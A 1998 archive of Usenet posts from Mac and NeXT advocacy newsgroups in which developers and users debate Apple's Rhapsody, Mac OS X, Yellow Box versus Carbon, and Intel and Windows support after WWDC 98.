> things.
>
> Personally I think Adobe is foolish for not THINKING HARD about a way to
> give away the YB dll's for free with freeware and yet still charging the OS
> makers for every seat it sells. Perhaps having the free DLL's limited to
> only rendering at a max of 100dpi, to printers or something like that.
> Because DGS is free, and it's real enough to kill DPS.
> --
> Thanks, be well, take care, later, John Kheit; self expressed...
Agreed.$20 are just that tiny bit that hampers YB for making it to the
mainstream, game apps,low cost productivity-apps, and I guess some Shareware
developers are really pissed by this..
It still should be no obstacle for apps like Photoshop,to name it, where
additional $20 wouldn't do too much of a difference.(I know Photoshop is by
Adobe and they would only pay themselves licensing fees, but I think you know
what I'm driving at.Just the one application everyone seems to be so excited
about.)
But to deny any market for the YB is not valid.
With NeXT and Apple also their markets merged, and unlike the MacOS community
previous OpenSteppers are in an advantageous position.
So I declare: The Merge is not yet done.
Developers and users of all brands UNITE!
BTW: Carbon,as I see it now, is one important step into this direction.
Christian Benesch
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Anyone notice?
Date: Thu, 14 May 1998 15:52:38 -0500
Organization: KAOS
Message-ID: <19980514155238851999@sdn-ts-011txhousp14.dialsprint.net>
References: <355a240b.0@news.depaul.edu> <1d90rdb.fsb871iesj0yN@dialup184-4-8.swipnet.se>
Lars Farm wrote:
> Jonathan W Hendry wrote:
>
> > All of a sudden, people have a reason to buy Rhapsody 1.0.
> >
> > They'll have to run their apps in the BlueBox, but they'll
> > *know* that in a year they'll be able to install MacOS X
>
> People will not know until it is released.
>
> (... Pink, Talligent, Bedrock, OD, GX, ... )
> wwdc 96: Future Apple OS = (delayed) Copland soon. Gershwin 98
> Jan 97: Future Apple OS = Rhapsody in 12-18 months
> wwdc 98: Future Apple OS = Rhapsody soon. Mac OS X in 12-18 months
> wwdc 99: Future Apple OS = <so far unknown> in 12-18 months
> ...
>
> Seems the new and improved leadership bought from NeXT continues the "no
> wait - i have a better idea" tradition (with emphasis on "wait").
Well, sorta. Not only is Rhapsody on the verge of release (something
that could not be said for Copland, Gershwin, Pink, etc.), but the fact
that Apple is refining the concept to make it more palatable to
consumers and developers I would consider a *good* thing. I also would
hope that Apple is always looking to the future. It's the present
delivery which has been lacking -- though not nearly so much lately.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 14 May 1998 16:57:42 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jfls6$7ne$1@crib.bevc.blacksburg.va.us>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <355B3804.7DC848E@milestonerdl.com>
In article <355B3804.7DC848E@milestonerdl.com>, mark@milestonerdl.com wrote:
> Nathan Urban wrote:
> > Here's a little exercise for you: spend some time writing a major app
> > in Carbon. Spend more time writing that same app in Yellow. With all
> > the spare time you have left, add lots of new features to the Yellow
> > version to boot.
> So that's the best you can do? Offer up that YellowBox is better?
Uh, yeah. That's a pretty good reason. The question was "And with the
cross-platform options are in question, developers have no reason to move
to YB eh?" Having something better than what you have is a compelling
reason to use it. Otherwise no one would ever use anything different
and we'd all still be using BASIC.
If all you're interested in is wide cross-platform, use Java. It's more
portable than Yellow. But the APIs have yet to reach Yellow's level of
sophistication and maturity.
> *yawn* I've seen that b4. Apple tried that with Windows 3 VS MacOS.
> Tell me again, how the Win 3 vs MacOS 'battle' came out?
Clue: Yellow and Carbon will run on the SAME system. They are not
_competing_. Mac developers can choose to use _either one they prefer_
and have it work on MacOS X. Thus, the only relevant issues left
become API training, code investment, what platforms are available,
_and_ technical superiority. If you are a Mac developer targeting MacOS X
with a new app, then technical superiority becomes exceptionally relevant
regardless of whether or not you want to target other platforms.
There are lots of reasons why Windows 3 won out over MacOS -- price of
Intel hardware, for one, acceptance of IBM PC-compatible machines in
businesses for two -- that have absolutely nothing to do with the Carbon
vs. Yellow choice. Your logical faculties are clearly lacking if you
think that the factors at work in the Windows 3 vs. MacOS competition are
at all relevant to choosing Carbon or Yellow Box for your Mac development.
You're not a developer, are you? A developer would have more of a clue
about APIs.
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 14 May 1998 20:52:41 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <895179379.806734@kelp.mbay.net>
References: <ericb-1105981718430001@132.236.171.104> <6jdaui$5bc$1@crib.bevc.blacksburg.va.us> <6jeqlq$1hv$1@nnrp1.dejanews.com> <6jfbjs$76e$1@crib.bevc.blacksburg.va.us>
Cache-Post-Path: kelp.mbay.net!unknown@otter.mbay.net
In article <6jfbjs$76e$1@crib.bevc.blacksburg.va.us>,
Nathan Urban <nurban@vt.edu> wrote:
>Follow that path to its logical conclusion and you will see: not only
>will developers use Carbon for existing apps, but they'll also use it
>for _new_ apps (which is what Yellow is supposed to be for) so it will
>run on all those existing non-OS X systems. This will kill the whole
>YB strategy.
If, in the open market of ideas, when both technologies have an
even footing, developers pick Carbon over YB, YB _deserves_ to
die.
Personally, I think someone starting a new app would do well to
use YB, since they'll get a lot more done a lot faster. But if
all the developers are stick-in-the-muds who insist on writing
to old, procedural APIs, so be it.
--
Don McGregor | Practice random and senseless acts.
mcgredo@mbay.net |
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Followup-To: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Date: 14 May 1998 16:58:37 -0400
Organization: Interport Communications Corp.
Message-ID: <6jfltt$kkp$1@interport.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu>
Robert Cassidy (rmcassid@uci.edu) wrote:
: IE is a DLL as well as an app. As such if you want your app to make http
: connections or to display HTML, then you can use IE as a library to do
: that. But I don't think that Navigator could slip in to fill that role.
Well, there's nothing about Navigator that would keep it from doing so.
--
Ben
<Just Another System Administrator>
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 14 May 1998 13:29:24 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355B3804.7DC848E@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <see-below-13059822 <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> Here's a little exercise for you: spend some time writing a major app
> in Carbon. Spend more time writing that same app in Yellow. With all
> the spare time you have left, add lots of new features to the Yellow
> version to boot.
So that's the best you can do? Offer up that YellowBox is better?
*yawn* I've seen that b4. Apple tried that with Windows 3 VS MacOS. Tell me
again, how the Win 3 vs MacOS 'battle' came out?
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac
Date: 14 May 1998 12:28:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B18093E3-2D916@206.165.43.181>
References: <6je75g$pcj$2@news.idiom.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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John C. Randolph <jcr.remove@this.phrase.idiom.com> said:
>
>They did say that the postscript imaging model will be there. Hell, if I
>have the font machinery, and the rest of the transformation and
>rasterization
>code, as well as the Foundation Kit, I could re-implement the DPS *
>language*
>pretty quickly. Parsing postscript and implementing dictionaries is
trivial
Which is why GhostSCript is not holding up GnuStep...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 14 May 1998 17:08:38 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jfmgm$7pe$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <6jeqlq$1hv$1@nnrp1.dejanews.com> <6jfbjs$76e$1@crib.bevc.blacksburg.va.us> <895179379.806734@kelp.mbay.net>
In article <895179379.806734@kelp.mbay.net>, mcgredo@otter.mbay.net (Donald R. McGregor) wrote:
> In article <6jfbjs$76e$1@crib.bevc.blacksburg.va.us>,
> Nathan Urban <nurban@vt.edu> wrote:
> >Follow that path to its logical conclusion and you will see: not only
> >will developers use Carbon for existing apps, but they'll also use it
> >for _new_ apps (which is what Yellow is supposed to be for) so it will
> >run on all those existing non-OS X systems. This will kill the whole
> >YB strategy.
> If, in the open market of ideas, when both technologies have an
> even footing, developers pick Carbon over YB, YB _deserves_ to
> die.
But the point was that without YB on MacOS, the footing isn't equal.
Developers can say "Well, I can write a Carbon app that will run on
OS X and MacOS, or a Yellow one that will run on OS X and Windows".
There are advantages to targeting Windows, but there are advantages to
targeting MacOS too -- especially if you're already in the Mac market.
Mac developers may choose Carbon so to satisfy some of their loyal
customer base, even if Yellow is a technically superior choice.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 14 May 1998 17:12:25 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jfmnp$7qc$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <andyba-ya02408000R1305981555450001@news> <6jdaui$5bc$1@crib.bevc.blacksburg.va.us> <andyba-ya02408000R1405981256550001@news>
In article <andyba-ya02408000R1405981256550001@news>, andyba@corp.webtv.net (Andy Bates) wrote:
> In article <6jdaui$5bc$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> > Uh, sorry. Rhapsody is not pre-OS X MacOS. MacOS users (e.g., OS 7.x
> > or 8 users) who haven't or can't upgrade to OS X or Rhapsody (e.g.,
> > hardware requirements) should still have a YB solution so developers
> > can target them too with new apps.
> You have to draw the line somewhere. Too much backward compatibility may
> kill Apple. As far as I'm concerned, drawing the line at PCI-based Power
> Macs is fine.
It will be over a year before a Yellow-capable OS starts penetrating the
Mac market. And even then, everyone is not going to instantneously
switch over to OS X -- even the PCI PowerMac crowd. These things take
time. And developers may choose to ignore YB until OS X has penetrated
the Mac market to a large degree, which will slow its acceptance and
the production of superior YB-based apps. If YB ran on MacOS, then
developers wouldn't have to wait for everyone to switch to OS X.
But if Apple doesn't think that they can spare the resources for a YB
on MacOS, then I believe them. I'm sure they've done a cost-benefit
analysis.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <355B365F.929E049D@spamtoNull.com> <B1809773-7F1C1@207.217.155.114>
Message-ID: <355b5f47.0@news.depaul.edu>
Date: 14 May 98 21:16:55 GMT
In comp.sys.next.advocacy Brad Hutchings <brad@hutchings-software.com> wrote:
> I do agree that Apple
> Heaven has been perpetually 18 months away for several years, and my
> patience long since ran out with the Apple Future.
I don't think the problem is that Apple heaven is 'perpetually 18
months away'. The problem was that nothing was being shipped.
By contrast, Rhapsody 1.0 *will* get you a nice environment
to run your MacOS apps in, and some good YellowBox apps.
It's not a permanent solution, or an optimal solution. And
it won't serve everybody's needs. But for a short-term solution
it's just as valid as VirtualPC or SoftPC, which Apple and Mac
fans tout quite a bit.
But Rhapsody 1.0 isn't the end of the road. Things will
get much better, but they'll be pretty good soon.
I think Apple should keep on saying heaven is 18 months
(or less) away. If they don't that means they've stopped
improving the OS, and it's HELLO 1991 all over again.
The catch is for Apple to actually deliver some
heaven along the way. Instead of just moving the
goalposts and never gaining any. I think they're
gaining a little with Rhapsody. Not as much as they
need, but a start.
--
"... and subpoenas for all." - Ken Starr
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 14 May 1998 12:38:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1809648-36952@206.165.43.181>
References: <6jfdu8$7bl$1@crib.bevc.blacksburg.va.us>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
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Nathan Urban <nurban@crib.bevc.blacksburg.va.us> said:
>But the main point is that the people who "fell for" developing for the
>Rhapsody API are not screwed -- the Rhapsody API (Yellow) is an integral
>part of MacOS X.
>
But is it part of MacOS 8.x? ANd how much will MacOS X cost?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 14 May 1998 17:18:59 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jfn43$7r8$1@crib.bevc.blacksburg.va.us>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <rex-1405981430100001@192.168.0.3> <6jferk$7e2$1@crib.bevc.blacksburg.va.us> <rex-1405981551520001@192.168.0.3>
In article <rex-1405981551520001@192.168.0.3>, rex@smallandmighty.com (Eric King) wrote:
> :Even given the API-retraining time, [YB] probably still ends up better for
> :a nontrivial-sized app, unless you already have lots of MacOS frameworks
> :applicable to your app already written to leverage
> Well that's the real problem now isn't it, Adobe, Metacreations,
> Microsoft, Macromedia, etc. all have extensive application-specific
> frameworks written.
Which is why I never expected them to port to Yellow (unless on a
product that differed significantly from their current offerings, which
is unlikely) -- which is why Carbon is good.
However, they may be able to integrate some Yellow stuff piecewise,
depending on how Apple sets things up. I don't think they'll ever
transition their core code completely over to Yellow -- the main
advantage of Yellow is that it saves you enormous amounts of coding
time, but they've already spent that time. The only other advantage is
cross-platform, and most of them have that too -- it's not as clean as
Yellow, but probably not worth porting hundreds of thousands of lines
of code.
Yellow will infiltrate the Mac market from the bottom up.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Thu, 14 May 1998 13:52:31 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355B3D6F.63A9F50A@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu>
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Peter wrote:
> In article <355AF80B.B27F01FA@milestonerdl.com>, mark@milestonerdl.com wrote:
> > Been there, saw that.
> > No mention of any NT 5.X future.
> Just out of curiousity, How vaporously close to release is NT5?
> Also, Since NT 5 is reported to have more than 14 million lines of NEW
> code, how fast do you think it will be adopted?
The same way NT 3.51-> NT 4 happened.
1) A slew of 'new' technologies, only one or 2 will actually matter
2) Stop bug-fixing
3) Only NT 5 will support hardware X. (where X is something sexy AGP is an
example)
And, of course the classic - Office [version Y]
Message-ID: <355B4E95.486D8B47@unet.univie.ac.at>
Date: Thu, 14 May 1998 22:05:41 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com> <6ja6ji$k4$3@news.idiom.com> <3559E9B3.5718F3D7@spamtoNull.com> <andyba-ya02408000R1405981039530001@news>
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Andy Bates wrote:
> In article <3559E9B3.5718F3D7@spamtoNull.com>, Jonathan Harker
> <Limeyville@spamtoNull.com> wrote:
>
> > Exactly. So, logically, since the "Mac OS" is undoubtedly "way past its
> > prime" why *rename* "Rhapsody" to MAC OS 10?
>
> Uh, because the OS is past its prime, not the NAME! The NAME is familiar;
> the CORE is old. Putting an old name on a new core solves both problems.
>
> Andy Bates.
If good old Jesus of Nazareth could only post..... :))
Christian Benesch
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Thu, 14 May 1998 15:29:22 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355B5422.D4E940DD@milestonerdl.com>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com>
<3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com>
<6jcjie$1cc$22@ironhorse.plsys.co.uk> <3559D285.C7FC88FA@milestonerdl.com>
<6jd4b4$5nv$4@msunews.cl.msu.edu> <355A1631.F7BD6362@milestonerdl.com>
<6jdl16$l15$2@msunews.cl.msu.edu> <355AE8BD.2D081E28@milestonerdl.com> <6jfjid$7t0$1@msunews.cl.msu.edu>
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spammers@ruin.the.internet.channelu.com wrote:
> There is a nice tidbit though relating to my concerned about Rhapsody
> on
> Intel
>
> "During this session it was said that Apple is commited to continue to
> support
> Mach, Rhapsody and Yellow Box on Intel in the future and through the
> Mac OS X
> timeframe. It was also mentioned that Intel support becomes easier upon
> transitioning from Mach 2.5 + to Mach 3.0. Thanks to Mark Ritchie and
> David Herren for
> the details on this."
>
> I think that also means that YB on 98/NT5 will also be supported.
> But yes I agree with you nothing formal yet on this. Hopefully
> me prodding Scott to ask the Apple reps will get us a definative
> answer.
Thanks.Getting Rhapsody on my TAM and finding out if there was some planned
support for YellowBox was all I was expecting to find out from WWDC.
> > Right now, I'm making noise. And I'm hoping that some people who
> felt the
> > NT5.x/98 path was asured will say "Hey, they HAVEN"T announced NT5,
> have
> > they?" And enough ppl ask, that Apple will make a formal statement.
>
> I will try to. I agree a formal statement on this is very important.
> I think with the above comments on Mach, Rhapsody & YB on Intel
> are very encouraging.. Though I wondered why they didn't say support
> & develope!!
>
Pike them! Pike Them! No, that was another thread.Unix! Uni.....no that
was a different thread.
Announce! Announce! Announce!
> > > > Perhaps. A rumor is Win98 ships with YellowBox on it.
> > >
> > > Yep and I'll believe it when I see it. It would be awsome BTW!
> >
> > No, what would be awesome is this:YellowBox verson of Photoshop. The
> > YellowBox port is faster than the Windows version. 10%-30% would be
> nice
> > to see.
>
> Go bug Adobe. Frankly from what I've heard & seen about Tiffany
> it's ready to kick Photoshops arse all over the place.
*snicker* such a phantasy would go along way to 'establishing the MacOS
(Unix) as better'.
> Why do you have to ask a question w/o checking the figures?
> Go look at their financials. Almost all of the company income is
> from hardware sales NOT software.. It is the only thing keeping
> Apple alive at this point other than that 1.5-2Billion in the bank :)
That's why I find credibiliuty in the bait-n-switch theory.
> So did you look?
> http://www.stepwise.com/SpecialCoverage/WWDC98/Wednesday.html
Yup...and the 'stay clear' on the other page makes me nervous.
> BTW: Notice the release of Win98 has been delayed because of DOJ
> and State Attorney General negotiations (from ). Also it was
> interesting
> that Win98 was slated for release tomorrow. Anyone note the
> coincidence?
I did. Look at how my posts changed from NT 5.x/98 to just NT 5.x.
> > Now, why junp on YellowBox if your goal is Intel support? To date,
> it's a
> > 1999-2000 solution. That's when Microsoft does NT5 (or is supposed
> to)
> > and given Microsofts history of breaking code when the upgrade OSes,
> the
> > conservative path is to assume YB on NT4 will break on NT5. And,
> given
> > Apple's past screwings of various parties, AND that the income to
> Apple
> > comes from PPC boxes, why shouldn't one bet that Apple's end goal is
> to
> > cancel YellowBox for Intel and say "Your envorinment is still
> arounnd, just
> > on PPC now."
>
> Look eventually I want to go PPC. Don't get me wrong. But if it
> doesn't
> make sense financially, and if I can't offer to my clients Intel
> hardware
> with Rhapsody (because they are rightfully paranoid of PPC/Apple
> and feel much more secure with Intel in case they choose to go with
> MS) then it isn't going to sell to my clients. And Apple can't afford
> to wait until the world swings back to them.
If it EVER swings that way.I'm believing in a swing to open sources before
a swing to Apple.
Microsoft will be the last corporation to embrace open sources....unless
the government forces them to.
> > Perhaps it's this simple. Where was Apple's long-term support for
> Intel?
>
> Read above & Scott's pages. It isn't a formal announcement and doesn't
> contain what your looking for. But support for intel is planned up to
> and
> through MacOS X time frame. I can't belive they would say this and
> then drop it.
I can. As a form of bait and switch. And what's interesting is no one is
jumping to Apple's defense with lines like "Apple would never do that, for
they don't abuse customers or developers like that."
> I think we are seeing eye-to-eye on this. I understand you want a
> formal announcement and I do also. Hopefully nudging Scott
> and other folks reading these newsgroups who are there @ WWDC
> they will ask the question.
>
> We should start another thread "Apple please announce YB NT5/98
> support, and a commitment to Mach/Rhapsody/YB on Intel"
Ok.
> > People don't choose Microsoft due to it's beauty....they choose due
> to
> > size.
>
> They choose it because of marketshare, and compatibility. I know
> I deal with it in the trenches every day.
Yuppers.
> But rest assured I'll take a look at
> FreeBSD
> sometime soon (who knows I may like it much better than Linux)
Net/FreeBSD was mentioned in one of the quicktime files....
FreeBSD's one disk install is nice. Stick in a floppy, boot it up, and you
can have a box with full source and everything. And I'll have to try
running Rhapsody binaries under FreeBSD in an emulation mode, like you cna
do with Solaris....
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 14 May 1998 17:27:22 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jfnjq$7st$1@crib.bevc.blacksburg.va.us>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355B3744.18038EC5@milestonerdl.com> <6jfl4h$7lh$1@crib.bevc.blacksburg.va.us> <6jfmkm$9tn@netaxs.com>
In article <6jfmkm$9tn@netaxs.com>, russotto@wanda.pond.com (Matthew T. Russotto) wrote:
> In article <6jfl4h$7lh$1@crib.bevc.blacksburg.va.us>,
> Nathan Urban <nurban@vt.edu> wrote:
> }In article <355B3744.18038EC5@milestonerdl.com>, mark@milestonerdl.com wrote:
> }> Show where there is a cross-platform future?
> }Show where there isn't. Everything I've heard Apple say about
> }cross-platform speaks of their committment to it. The statements might
> }not be everything you want, but there isn't anything that suggests
> }there is none.
> Forget what they've said. What have they DONE lately?
> Answer-- damn little. They released the "Now Mac Looks More Like Windows"
> System 8, and then finally got HFS+ out the door. As far as really
> new stuff... nothing. No Copeland, no Rhapsody, no OS-X, no nothing.
> Just constant course changes and delayed ship dates.
No Rhapsody? Tell that to the people with RDR2. No, it hasn't shipped
yet, but it _does_ contain just about everything that Apple promised,
and a lot that Apple didn't promise. WWDC has shown that Apple is _very_
active in enhancing the Yellow technologies over what originally existed
in OPENSTEP. And they've got a ship date next quarter.
As for cross-platform, they've been doing a lot of negotiating about
license fees and have officially announced that they are spending time,
effort and money to get the Windows fees down to zero, so that implies
that they're paying attention to "a cross-platform future".
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 13:01:39 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1405981301390001@news>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <6jda1o$lf$1@xmission.xmission.com>
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In article <6jda1o$lf$1@xmission.xmission.com>, Kristofer Jon Magnusson
<kris@xmission.xmission.com> wrote:
> Andy Bates <andyba@corp.webtv.net> wrote:
>
> : Why not? Rhapsody for Intel is still coming out as well. Recompiled
>
> : So Rhapsody for Intel + no Carbon = Rhapsody for Intel, just like it
> : always did.
>
> I question your facts.
>
> Apple has stated that Rhapsody will be folded into Mac OS X after the CR1
> release, and that Mac OS X will be PowerPC only. This means "no Mac OS X
> on Intel" after the Rhapsody CR1 release.
>
> It looks like the Yellow Box on Windows will live, but word about an Apple
> OS on Intel has been conspiciously absent during this event.
When speaking to the issue of MacOS compatibility, you can assume that
"Rhapsody" means "Rhapsody on PowerPC." In that respect, yes, Rhapsody is
being rolled into Mac OS X. However, Rhapsody for Intel is still coming
out, and will still be supported. See copious notes from www.stepwise.com
about WWDC sessions that verify this.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 13:05:06 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1405981305060001@news>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <3559F9D8.2336B338@spamtoNull.com> <6jd1s0$5nv$2@msunews.cl.msu.edu> <355A04FC.420CED76@milestonerdl.com> <rex-1305982038160001@192.168.0.3>
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In article <rex-1305982038160001@192.168.0.3>, rex@smallandmighty.com (Eric
King) wrote:
> This scenario doesn't necessarily spell the doom of the
> Yellow Box, so much as it suggests that chances are there won't be a
> well-defined line separating the Carbon APIs and the Yellow APIs.
Exactly. I don't see why more people don't recognize this. People can write
Mac OS X apps that use Carbon and YB APIs. They'll only run on Mac OS X and
Rhapsody, but they can use all the advanced Rhapsody features. It's more of
a gradual shift, instead of an absolute drop-dead point.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 12:54:33 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1405981254330001@news>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <stevenj-ya02408000R1105982034070001@news.mit.edu> <6j9iob$ga2$1@larry.admin.phil.uu.nl> <stevehix-1305981543110001@ip53.safemail.com> <355A1998.E76DCAE7@milestonerdl.com>
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In article <355A1998.E76DCAE7@milestonerdl.com>, mark@milestonerdl.com wrote:
> Steve Hix wrote:
>
> > And Rhapsody will end up shipping to customers (after CR1) as MacOS X.
>
> That maps out the PPC.
>
> And the Intel version map is?
Rhapsody will ship as Rhapsody.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 13:14:12 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1405981314120001@news>
References: <ericb-1105981718430001@132.236.171.104> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <355A3418.4A8D@stetson.edu> <6jdf04$5f5$1@crib.bevc.blacksburg.va.us> <355A36A9.770CD512@milestonerdl.com>
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In article <355A36A9.770CD512@milestonerdl.com>, mark@milestonerdl.com wrote:
> Keep it around is not the same as working to support it.
Sure it is! You're playing with semantics. "Keeping it around" means
"keeping it as a supported product."
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 13:12:18 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1405981312180001@news>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <355A3418.4A8D@stetson.edu>
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In article <355A3418.4A8D@stetson.edu>, mbranton@stetson.edu wrote:
> not quite. it seems clear that running on intel in now not so important
> to apple. it started w/ cutting the clones, and it'll finish w/ rhapsody
> on intel being an afterthought.
Nice theory. Too bad the notes from WWDC attendees doesn't support it.
Apple is behind Rhapsody for Intel just as much as they've always been.
